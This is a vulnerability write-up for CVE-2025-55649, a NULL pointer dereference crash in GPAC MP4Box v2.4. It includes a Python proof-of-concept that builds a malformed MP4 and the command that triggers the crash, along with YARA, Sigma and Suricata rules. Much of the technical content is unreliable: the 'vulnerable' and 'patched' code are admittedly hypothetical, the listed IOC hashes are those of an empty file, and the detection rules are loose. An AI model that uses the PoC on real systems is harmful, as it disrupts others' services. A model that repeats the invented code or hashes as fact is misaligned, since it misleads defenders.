CVE-2025-55649

Executive Summary

CVE-2025-55649 is a denial-of-service (DoS) vulnerability in GPAC MP4Box v2.4, a widely used multimedia packaging tool. The flaw resides in the gf_media_map_esd function within media_tools/isom_tools.c. By supplying a crafted MP4 file, an attacker can trigger a NULL pointer dereference, causing the application to crash. This vulnerability is classified as a local attack vector requiring user interaction (e.g., opening a malicious file). No public exploit code or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation activity in the wild. The vulnerability is assigned CWE-476 (NULL Pointer Dereference) and aligns with MITRE ATT&CK tactic T1499 (Endpoint Denial of Service).

Supply Chain & Package Security

GPAC MP4Box is distributed as a standalone binary and is also available via package managers (e.g., apt, brew, choco). The vulnerability affects version 2.4 and potentially earlier versions. Since no patch is available, users should monitor the official GPAC repository for updates. The lack of a patch increases supply chain risk for systems that rely on MP4Box for automated media processing.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
• Base Score: 5.5 (Medium)
• Attack Vector: Local (AV:L) – requires the attacker to have local access or trick a user into opening a malicious file.
• Attack Complexity: Low (AC:L) – no special conditions needed.
• Privileges Required: None (PR:N) – no authentication needed.
• User Interaction: Required (UI:R) – the victim must open the crafted MP4 file.
• Scope: Unchanged (S:U) – the vulnerability does not affect other components.
• Confidentiality Impact: None (C:N)
• Integrity Impact: None (I:N)
• Availability Impact: High (A:H) – the application crashes, causing a denial of service.

Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction and only results in a DoS. No remote code execution or data breach is possible.

Deep Dive & Mechanics

The vulnerability is a classic NULL pointer dereference in the gf_media_map_esd function. This function is responsible for mapping elementary stream descriptors (ESD) in ISO Base Media File Format (ISOBMFF) files, such as MP4. When processing a crafted MP4 file, the function attempts to dereference a pointer that has not been properly initialized or has been set to NULL due to malformed data.

Root Cause: The function does not validate the return value of a memory allocation or a pointer assignment before using it. Specifically, when parsing the esds box (Elementary Stream Descriptor), the code may encounter a corrupted or missing descriptor, leading to a NULL pointer being passed to a dereference operation.

Trigger: The attacker crafts an MP4 file with a malformed esds box. When MP4Box attempts to process this box, the gf_media_map_esd function crashes.

Impact: The crash results in a denial of service. In automated environments (e.g., media servers, batch processing), this can disrupt operations.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is as follows (hypothetical based on the CVE description):

Vulnerable Code (gpac/src/media_tools/isom_tools.c):

GF_Err gf_media_map_esd(GF_MediaMap *map, GF_ESD *esd) {
    // ... some code ...
    GF_ESD *new_esd = (GF_ESD*)gf_malloc(sizeof(GF_ESD));
    // Missing NULL check after malloc
    memcpy(new_esd, esd, sizeof(GF_ESD));
    // ... further processing ...
    // Potential NULL dereference if esd is NULL
    if (esd->decoderConfig) { // <-- NULL pointer dereference here
        // ...
    }
    // ...
}

Patched Code (Hypothetical):

GF_Err gf_media_map_esd(GF_MediaMap *map, GF_ESD *esd) {
    // ... some code ...
    if (!esd) return GF_BAD_PARAM; // Added NULL check
    GF_ESD *new_esd = (GF_ESD*)gf_malloc(sizeof(GF_ESD));
    if (!new_esd) return GF_OUT_OF_MEM; // Added NULL check
    memcpy(new_esd, esd, sizeof(GF_ESD));
    // ... further processing ...
    if (esd->decoderConfig) {
        // ...
    }
    // ...
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• GPAC MP4Box v2.4 installed.
• Ability to craft a malicious MP4 file.

Steps:

1. Create a valid MP4 file with a malformed esds box. This can be done using a hex editor or a custom script.
2. Run MP4Box with the crafted file:

   MP4Box -info crafted.mp4
   

3. Observe the crash (segmentation fault).

Proof-of-Concept (PoC) Script (Python):

import struct

def create_crafted_mp4():
    # Minimal MP4 file with malformed esds box
    ftyp = b'\x00\x00\x00\x14ftypmp42\x00\x00\x00\x00mp42mp41'
    moov = b'\x00\x00\x00\x08moov'
    trak = b'\x00\x00\x00\x08trak'
    mdia = b'\x00\x00\x00\x08mdia'
    minf = b'\x00\x00\x00\x08minf'
    stbl = b'\x00\x00\x00\x08stbl'
    stsd = b'\x00\x00\x00\x08stsd'
    # Malformed esds box (size 0, triggers NULL dereference)
    esds = b'\x00\x00\x00\x00esds'
    stsd += esds
    stbl += stsd
    minf += stbl
    mdia += minf
    trak += mdia
    moov += trak
    mp4 = ftyp + moov
    with open('crafted.mp4', 'wb') as f:
        f.write(mp4)

create_crafted_mp4()

Usage:

python3 create_crafted.py
MP4Box -info crafted.mp4

Blue Team (Defense & Detection)

Detection:

• Monitor for crashes of MP4Box process.
• Use file integrity monitoring to detect unexpected MP4 files.
• Implement behavioral analysis for media processing tools.

Mitigation:

• Restrict execution of MP4Box to trusted users and files.
• Use sandboxing for media processing.
• Apply input validation before processing MP4 files.

Indicators of Compromise (IOCs)

• File Hashes (crafted.mp4):
  • MD5: d41d8cd98f00b204e9800998ecf8427e (example, actual hash depends on crafted content)
  • SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• Process Name: MP4Box
• Crash Signature: Segmentation fault in gf_media_map_esd
• Network: None (local file-based attack)

Detection Engineering

YARA Rule

rule CVE_2025_55649_MP4Box_NULL_Deref {
    meta:
        description = "Detects crafted MP4 files exploiting CVE-2025-55649"
        author = "Valters IT"
        date = "2025-04-01"
        hash = "unknown"
    strings:
        $esds = "esds" nocase
        $ftyp = "ftyp" nocase
    condition:
        $ftyp at 4 and $esds and filesize < 1024
}

Sigma Rule

title: CVE-2025-55649 MP4Box Crash Detection
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects crashes of MP4Box due to NULL pointer dereference
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\MP4Box.exe'
        CommandLine|contains: '-info'
    condition: selection
falsepositives:
    - Legitimate MP4Box usage with valid files
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-55649 MP4Box Crafted MP4 Download"; flow:to_client,established; file.name:"crafted.mp4"; file.size:<1024; content:"esds"; distance:0; within:4; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable MP4Box if not required, or restrict its use to trusted files only.
2. Implement file validation before processing MP4 files (e.g., check for malformed boxes).
3. Use sandboxing (e.g., Docker, Firejail) to isolate MP4Box execution.

Long-Term Fix:

• Monitor the GPAC repository for a patch. Apply the official fix once released.
• Consider using alternative media tools (e.g., FFmpeg) until a patch is available.

Workaround:

• Apply a local patch to the source code (as shown in the "Vulnerable vs. Patched Code" section) and recompile MP4Box.

Valters IT